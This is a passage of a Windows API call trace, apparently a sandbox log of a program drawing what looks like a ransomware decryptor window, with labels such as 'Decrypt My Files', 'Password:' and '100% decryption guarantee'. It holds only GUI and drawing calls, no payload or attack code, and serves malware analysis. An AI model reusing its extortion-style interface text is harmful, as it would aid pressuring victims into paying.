wParam=0x0, lParam=0x0) returned 0x0 [0174.205] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0174.205] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x5, wParam=0x0, lParam=0x1201b3) returned 0x0 [0174.205] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x3, wParam=0x0, lParam=0x660077) returned 0x0 [0174.205] GetClientRect (in: hWnd=0x1027a, lpRect=0x19de98 | out: lpRect=0x19de98) returned 1 [0174.205] GetWindowRect (in: hWnd=0x1027a, lpRect=0x19de98 | out: lpRect=0x19de98) returned 1 [0174.206] GetParent (hWnd=0x1027a) returned 0x10272 [0174.206] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19de98, cPoints=0x2 | out: lpPoints=0x19de98) returned -16646646 [0174.206] SendMessageW (hWnd=0x1027a, Msg=0x2210, wParam=0x27a0001, lParam=0x1027a) returned 0x0 [0174.206] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x2210, wParam=0x27a0001, lParam=0x1027a) returned 0x0 [0174.206] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.206] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x46, wParam=0x0, lParam=0x19e194) returned 0x0 [0174.206] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.206] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0174.207] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x47, wParam=0x0, lParam=0x19e194) returned 0x0 [0174.207] GetClientRect (in: hWnd=0x1027a, lpRect=0x19de68 | out: lpRect=0x19de68) returned 1 [0174.207] GetWindowRect (in: hWnd=0x1027a, lpRect=0x19de68 | out: lpRect=0x19de68) returned 1 [0174.207] GetParent (hWnd=0x1027a) returned 0x10272 [0174.207] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19de68, cPoints=0x2 | out: lpPoints=0x19de68) returned -16646646 [0174.207] GetParent (hWnd=0x1027a) returned 0x10272 [0174.207] GetParent (hWnd=0x1027a) returned 0x10272 [0174.207] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0174.207] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.208] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.208] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Password:", dwStyle=0x5600000d, X=178, Y=9, nWidth=251, nHeight=63, hWndParent=0x10272, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1027c [0174.208] SetWindowLongW (hWnd=0x1027c, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0174.208] GetWindowLongW (hWnd=0x1027c, nIndex=-4) returned 1876339648 [0174.210] SetWindowTextW (hWnd=0x1027c, lpString="Password:") returned 1 [0174.210] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0xc, wParam=0x0, lParam=0x3072434) returned 0x1 [0174.210] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x5, wParam=0x0, lParam=0x3f00fb) returned 0x0 [0174.210] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x3, wParam=0x0, lParam=0x900b2) returned 0x0 [0174.211] GetClientRect (in: hWnd=0x1027c, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0174.211] GetWindowRect (in: hWnd=0x1027c, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0174.211] GetParent (hWnd=0x1027c) returned 0x10272 [0174.211] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0174.211] SendMessageW (hWnd=0x1027c, Msg=0x2210, wParam=0x27c0001, lParam=0x1027c) returned 0x0 [0174.211] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x2210, wParam=0x27c0001, lParam=0x1027c) returned 0x0 [0174.211] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.211] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.211] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.212] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.212] GetClientRect (in: hWnd=0x1027c, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0174.212] GetWindowRect (in: hWnd=0x1027c, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0174.212] GetParent (hWnd=0x1027c) returned 0x10272 [0174.212] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16646646 [0174.212] GetParent (hWnd=0x1027c) returned 0x10272 [0174.212] GetParent (hWnd=0x1027c) returned 0x10272 [0174.212] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0174.212] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.213] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0174.213] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Decrypt My Files", dwStyle=0x5e01000b, X=87, Y=148, nWidth=467, nHeight=42, hWndParent=0x10272, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1027e [0174.213] SetWindowLongW (hWnd=0x1027e, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0174.213] GetWindowLongW (hWnd=0x1027e, nIndex=-4) returned 1876224000 [0174.215] SetWindowTextW (hWnd=0x1027e, lpString="Decrypt My Files") returned 1 [0174.215] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0xc, wParam=0x0, lParam=0x3072708) returned 0x1 [0174.215] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x5, wParam=0x0, lParam=0x2a01d3) returned 0x0 [0174.215] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x3, wParam=0x0, lParam=0x940057) returned 0x0 [0174.215] GetClientRect (in: hWnd=0x1027e, lpRect=0x19dea0 | out: lpRect=0x19dea0) returned 1 [0174.215] GetWindowRect (in: hWnd=0x1027e, lpRect=0x19dea0 | out: lpRect=0x19dea0) returned 1 [0174.216] GetParent (hWnd=0x1027e) returned 0x10272 [0174.216] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19dea0, cPoints=0x2 | out: lpPoints=0x19dea0) returned -16646646 [0174.216] SendMessageW (hWnd=0x1027e, Msg=0x2210, wParam=0x27e0001, lParam=0x1027e) returned 0x0 [0174.216] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x2210, wParam=0x27e0001, lParam=0x1027e) returned 0x0 [0174.216] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0174.216] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.216] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0174.216] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0174.217] GetStockObject (i=5) returned 0x900015 [0174.217] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0174.217] GetClientRect (in: hWnd=0x1027e, lpRect=0x19de70 | out: lpRect=0x19de70) returned 1 [0174.217] GetWindowRect (in: hWnd=0x1027e, lpRect=0x19de70 | out: lpRect=0x19de70) returned 1 [0174.217] GetParent (hWnd=0x1027e) returned 0x10272 [0174.217] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10272, lpPoints=0x19de70, cPoints=0x2 | out: lpPoints=0x19de70) returned -16646646 [0174.217] GetParent (hWnd=0x1027e) returned 0x10272 [0174.217] GetParent (hWnd=0x1027e) returned 0x10272 [0174.217] GetWindowThreadProcessId (in: hWnd=0x10272, lpdwProcessId=0x19e798 | out: lpdwProcessId=0x19e798) returned 0x390 [0174.217] GetCurrentThreadId () returned 0x390 [0174.217] PostMessageW (hWnd=0x10272, Msg=0xc172, wParam=0x0, lParam=0x0) returned 1 [0174.217] GdipImageGetFrameDimensionsCount (image=0x6924e88, count=0x19e768) returned 0x0 [0174.217] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0xf6cb00 [0174.217] GdipImageGetFrameDimensionsList (image=0x6924e88, dimensionIDs=0xf6cb00*(Data1=0x74737953, Data2=0x6d65, Data3=0x442e, Data4=([0]=0x72, [1]=0x61, [2]=0x77, [3]=0x69, [4]=0x6e, [5]=0x67, [6]=0x0, [7]=0x3a)), count=0x1) returned 0x0 [0174.217] LocalFree (hMem=0xf6cb00) returned 0x0 [0174.217] GetWindowTextLengthW (hWnd=0x10278) returned 0 [0174.218] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.218] GetSystemMetrics (nIndex=42) returned 0 [0174.218] GetWindowTextW (in: hWnd=0x10278, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0174.218] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0174.218] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0174.218] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.218] GetSystemMetrics (nIndex=42) returned 0 [0174.218] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e808, nMaxCount=1 | out: lpString="") returned 0 [0174.218] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e808) returned 0x0 [0174.218] GetWindowTextLengthW (hWnd=0x30212) returned 14 [0174.218] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe [0174.218] GetSystemMetrics (nIndex=42) returned 0 [0174.218] GetWindowTextW (in: hWnd=0x30212, lpString=0x19e8f8, nMaxCount=15 | out: lpString="Open Decryptor") returned 14 [0174.218] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xd, wParam=0xf, lParam=0x19e8f8) returned 0xe [0174.218] SetWindowTextW (hWnd=0x30212, lpString="Close Decryptor") returned 1 [0174.218] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc, wParam=0x0, lParam=0x307c6e8) returned 0x1 [0174.218] GetStockObject (i=5) returned 0x900015 [0174.219] GetStockObject (i=5) returned 0x900015 [0174.219] GetDlgItem (hDlg=0x8004e, nIDDlgItem=197138) returned 0x30212 [0174.219] SendMessageW (hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0174.219] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x202b, wParam=0x30212, lParam=0x19e324) returned 0x0 [0174.219] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0174.219] GetCapture () returned 0x30212 [0174.219] ReleaseCapture () returned 1 [0174.219] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0174.222] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.222] IsWindowUnicode (hWnd=0x10272) returned 1 [0174.222] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.222] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.222] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.222] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.222] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0174.223] IsWindowUnicode (hWnd=0x30212) returned 1 [0174.223] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.223] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0174.223] SetCursor (hCursor=0x10003) returned 0x10003 [0174.223] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.223] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.223] GetKeyState (nVirtKey=1) returned 1 [0174.223] GetKeyState (nVirtKey=2) returned 0 [0174.223] GetKeyState (nVirtKey=4) returned 0 [0174.223] GetKeyState (nVirtKey=5) returned 0 [0174.223] GetKeyState (nVirtKey=6) returned 0 [0174.223] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.223] IsWindowUnicode (hWnd=0x10248) returned 1 [0174.223] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.223] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.223] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.224] BeginPaint (in: hWnd=0x10248, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0174.224] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.224] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0174.224] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.224] GetSystemMetrics (nIndex=42) returned 0 [0174.224] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0174.224] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0174.224] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.224] EndPaint (hWnd=0x10248, lpPaint=0x19e8f8) returned 1 [0174.224] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.224] IsWindowUnicode (hWnd=0x10246) returned 1 [0174.224] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.225] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.225] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.225] BeginPaint (in: hWnd=0x10246, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1b010670 [0174.225] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.225] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0174.225] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.225] GetSystemMetrics (nIndex=42) returned 0 [0174.225] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0174.225] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0174.225] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.225] EndPaint (hWnd=0x10246, lpPaint=0x19e8e4) returned 1 [0174.225] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.225] IsWindowUnicode (hWnd=0x1024a) returned 1 [0174.225] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.226] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.226] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.226] BeginPaint (in: hWnd=0x1024a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0174.226] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.226] CreateCompatibleDC (hdc=0x10105d6) returned 0x38010747 [0174.226] SelectObject (hdc=0x38010747, h=0x8050721) returned 0x85000f [0174.226] GdipCreateFromHDC (hdc=0x38010747, graphics=0x19e8e4) returned 0x0 [0174.226] GdipTranslateWorldTransform (graphics=0x69267f0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.226] GdipSetClipRectI (graphics=0x69267f0, x=0, y=0, width=308, height=32, combineMode=0x0) returned 0x0 [0174.226] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0174.226] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6926ad0) returned 0x0 [0174.226] GdipIsMatrixIdentity (matrix=0x6926ad0, result=0x19e944) returned 0x0 [0174.226] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.227] GdipGetMatrixElements (matrix=0x6926ad0, matrixOut=0xf75c20) returned 0x0 [0174.227] LocalFree (hMem=0xf75c20) returned 0x0 [0174.227] GdipDeleteMatrix (matrix=0x6926ad0) returned 0x0 [0174.227] GdipCreateRegion (region=0x19e92c) returned 0x0 [0174.227] GdipGetClip (graphics=0x69267f0, region=0x6926b00) returned 0x0 [0174.227] GdipIsInfiniteRegion (region=0x6926b00, graphics=0x69267f0, result=0x19e938) returned 0x0 [0174.227] GdipSaveGraphics (graphics=0x69267f0, state=0x19e964) returned 0x0 [0174.227] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0174.227] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0174.227] GetSystemMetrics (nIndex=42) returned 0 [0174.227] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0174.227] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0174.227] GetClientRect (in: hWnd=0x1024a, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0174.227] GdipCreateRegion (region=0x19e780) returned 0x0 [0174.227] GdipGetClip (graphics=0x69267f0, region=0x6926df0) returned 0x0 [0174.227] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0174.227] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6915f08) returned 0x0 [0174.227] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0174.227] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.227] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.228] LocalFree (hMem=0xf75c20) returned 0x0 [0174.228] GdipCombineRegionRegion (region=0x6926df0, region2=0x6926b00, combineMode=0x1) returned 0x0 [0174.228] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0174.228] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0174.228] LocalFree (hMem=0xf75bb0) returned 0x0 [0174.228] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.228] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x69267f0, result=0x19e7c0) returned 0x0 [0174.228] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x69267f0, result=0x19e7b0) returned 0x0 [0174.228] GdipGetRegionHRgn (region=0x6926df0, graphics=0x69267f0, hRgn=0x19e7b0) returned 0x0 [0174.228] GdipDeleteRegion (region=0x6926df0) returned 0x0 [0174.228] GdipGetDC (graphics=0x69267f0, hdc=0x19e7c8) returned 0x0 [0174.228] GetCurrentObject (hdc=0x38010747, type=0x1) returned 0xb00017 [0174.228] GetCurrentObject (hdc=0x38010747, type=0x2) returned 0x900010 [0174.228] GetCurrentObject (hdc=0x38010747, type=0x7) returned 0x8050721 [0174.228] GetCurrentObject (hdc=0x38010747, type=0x6) returned 0x8a01c2 [0174.228] SaveDC (hdc=0x38010747) returned 1 [0174.228] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x20406fe [0174.228] GetClipRgn (hdc=0x38010747, hrgn=0x20406fe) returned 0 [0174.229] SelectClipRgn (hdc=0x38010747, hrgn=0x3c04070e) returned 2 [0174.229] DeleteObject (ho=0x20406fe) returned 1 [0174.229] DeleteObject (ho=0x3c04070e) returned 1 [0174.229] OffsetViewportOrgEx (in: hdc=0x38010747, x=0, y=0, lppt=0x307ccac | out: lppt=0x307ccac) returned 1 [0174.229] GetNearestColor (hdc=0x38010747, color=0x22a3f8) returned 0x22a3f8 [0174.229] CreateSolidBrush (color=0x22a3f8) returned 0x4910073a [0174.229] FillRect (hDC=0x38010747, lprc=0x19e7cc, hbr=0x4910073a) returned 1 [0174.229] DeleteObject (ho=0x4910073a) returned 1 [0174.229] RestoreDC (hdc=0x38010747, nSavedDC=-1) returned 1 [0174.229] GdipReleaseDC (graphics=0x69267f0, hdc=0x38010747) returned 0x0 [0174.229] GdipRestoreGraphics (graphics=0x69267f0, state=0xfd040dbd) returned 0x0 [0174.229] GdipDeleteRegion (region=0x6926b00) returned 0x0 [0174.229] GetWindowTextLengthW (hWnd=0x1024a) returned 25 [0174.229] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0174.229] GetSystemMetrics (nIndex=42) returned 0 [0174.229] GetWindowTextW (in: hWnd=0x1024a, lpString=0x19e84c, nMaxCount=26 | out: lpString="100% decryption guarantee") returned 25 [0174.229] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xd, wParam=0x1a, lParam=0x19e84c) returned 0x19 [0174.229] GdipGetDC (graphics=0x69267f0, hdc=0x19e7e8) returned 0x0 [0174.230] GetCurrentObject (hdc=0x38010747, type=0x1) returned 0xb00017 [0174.230] GetCurrentObject (hdc=0x38010747, type=0x2) returned 0x900010 [0174.230] GetCurrentObject (hdc=0x38010747, type=0x7) returned 0x8050721 [0174.230] GetCurrentObject (hdc=0x38010747, type=0x6) returned 0x8a01c2 [0174.230] GdipReleaseDC (graphics=0x69267f0, hdc=0x38010747) returned 0x0 [0174.230] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.231] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0174.231] GdipGetTextRenderingHint (graphics=0x69267f0, mode=0x19e788) returned 0x0 [0174.231] GdipGetDC (graphics=0x69267f0, hdc=0x19e774) returned 0x0 [0174.231] GetCurrentObject (hdc=0x38010747, type=0x1) returned 0xb00017 [0174.231] GetCurrentObject (hdc=0x38010747, type=0x2) returned 0x900010 [0174.231] GetCurrentObject (hdc=0x38010747, type=0x7) returned 0x8050721 [0174.231] GetCurrentObject (hdc=0x38010747, type=0x6) returned 0x8a01c2 [0174.231] SaveDC (hdc=0x38010747) returned 1 [0174.231] GetTextAlign (hdc=0x38010747) returned 0x0 [0174.231] GetTextColor (hdc=0x38010747) returned 0x0 [0174.231] GetCurrentObject (hdc=0x38010747, type=0x6) returned 0x8a01c2 [0174.231] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0174.231] SelectObject (hdc=0x38010747, h=0xa0a0724) returned 0x8a01c2 [0174.231] GetBkMode (hdc=0x38010747) returned 2 [0174.231] SetBkMode (hdc=0x38010747, mode=1) returned 2 [0174.232] DrawTextExW (in: hdc=0x38010747, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e708, format=0x100000, lpdtp=0x307d1a0 | out: lpchText="100% decryption guarantee", lprc=0x19e708) returned 32 [0174.232] RestoreDC (hdc=0x38010747, nSavedDC=-1) returned 1 [0174.232] GdipReleaseDC (graphics=0x69267f0, hdc=0x38010747) returned 0x0 [0174.232] GdipGetDC (graphics=0x69267f0, hdc=0x19e924) returned 0x0 [0174.232] BitBlt (hdc=0x10105d6, x=0, y=0, cx=308, cy=32, hdcSrc=0x38010747, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.232] GdipReleaseDC (graphics=0x69267f0, hdc=0x38010747) returned 0x0 [0174.232] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.232] SelectObject (hdc=0x38010747, h=0x85000f) returned 0x8050721 [0174.233] DeleteDC (hdc=0x38010747) returned 1 [0174.233] GdipDeleteGraphics (graphics=0x69267f0) returned 0x0 [0174.233] EndPaint (hWnd=0x1024a, lpPaint=0x19e8c8) returned 1 [0174.233] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.233] IsWindowUnicode (hWnd=0x1024c) returned 1 [0174.233] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.233] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.233] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.233] BeginPaint (in: hWnd=0x1024c, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x60100ce [0174.233] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.233] CreateCompatibleDC (hdc=0x60100ce) returned 0x3a010747 [0174.233] SelectObject (hdc=0x3a010747, h=0x8050721) returned 0x85000f [0174.234] GdipCreateFromHDC (hdc=0x3a010747, graphics=0x19e920) returned 0x0 [0174.234] GdipTranslateWorldTransform (graphics=0x69267f0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.234] GdipSetClipRectI (graphics=0x69267f0, x=0, y=0, width=32, height=36, combineMode=0x0) returned 0x0 [0174.234] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0174.234] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6926ad0) returned 0x0 [0174.234] GdipIsMatrixIdentity (matrix=0x6926ad0, result=0x19e980) returned 0x0 [0174.234] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0174.234] GdipGetMatrixElements (matrix=0x6926ad0, matrixOut=0xf75be8) returned 0x0 [0174.234] LocalFree (hMem=0xf75be8) returned 0x0 [0174.234] GdipDeleteMatrix (matrix=0x6926ad0) returned 0x0 [0174.234] GdipCreateRegion (region=0x19e968) returned 0x0 [0174.234] GdipGetClip (graphics=0x69267f0, region=0x6926b00) returned 0x0 [0174.234] GdipIsInfiniteRegion (region=0x6926b00, graphics=0x69267f0, result=0x19e974) returned 0x0 [0174.234] GdipSaveGraphics (graphics=0x69267f0, state=0x19e9a0) returned 0x0 [0174.235] GetClientRect (in: hWnd=0x1024c, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0174.235] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0174.235] GdipGetClip (graphics=0x69267f0, region=0x6926df0) returned 0x0 [0174.235] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0174.235] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6915f08) returned 0x0 [0174.235] 